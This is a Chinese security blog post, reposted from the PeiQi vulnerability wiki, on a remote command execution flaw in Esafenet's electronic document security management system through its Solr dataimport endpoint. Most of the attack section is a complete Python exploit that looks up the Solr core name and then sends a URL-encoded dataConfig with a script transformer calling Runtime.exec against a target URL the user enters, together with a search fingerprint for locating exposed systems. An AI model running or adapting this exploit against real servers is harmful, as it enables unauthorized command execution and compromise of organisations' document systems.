亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞

admin 2021年10月25日00:35:18安全漏洞评论149 views4035字阅读13分27秒阅读模式

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞


:漏洞描述🐑


亿赛通 电子文档安全管理系统 dataimport 存在远程命令执行漏洞,攻击者通过构造特定的请求可执行任意命令


二:  漏洞影响🐇


亿赛通 电子文档安全管理系统


三:  漏洞复现🐋

title="电子文档安全管理系统"


登录页面如下

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞

先获取 core name,访问路径

/solr/admin/cores

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞

使用POC执行whoami

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞


 四:  漏洞POC🦉


import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mTitle : 亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "/solr/admin/cores" headers = { "Content-Type": "application/x-www-form-urlencoded", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在请求 {}/solr/admin/cores.... 33[0m".format(target_url)) if 'responseHeader' in response.text and response.status_code == 200: result = re.search( r'<str name="name">([sS]*?)</str><str name="instanceDir">', response.text, re.I) core_name = result.group(1) print("33[36m[o] 获取core_name : {} 33[0m".format(core_name)) POC_2(target_url, core_name) else: print("33[31m[x] 请求失败 33[0m") sys.exit(0)
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
def POC_2(target_url, core_name): cmd = "whoami" vuln_url = target_url + "/solr/{}/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22{}%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20".format(core_name, cmd) files = { 'stream.body': '''<?xml version="1.0" encoding="UTF-8"?> <RDF> <item/> </RDF>''' } try: print("33[36m[o] 正在执行 whoami ... 33[0m".format(target_url)) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, files=files, verify=False, timeout=5) cmd_response = re.search( r'documents"><lst><arr name="title"><str>([sS]*?)</str></arr></lst>', response.text, re.I) cmd_response = cmd_response.group(1) if response.status_code == 200 and cmd_response: print("33[36m[o] 命令响应为:n{} 33[0m".format(cmd_response))
except Exception as e: print("33[31m[x] 请求失败 33[0m")


if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url)


 五:  关于文库🦉



    在线文库:

http://wiki.peiqi.tech


    Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~

亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞






由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



本文始发于微信公众号(PeiQi文库):亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月25日00:35:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞 http://cn-sec.com/archives/391010.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: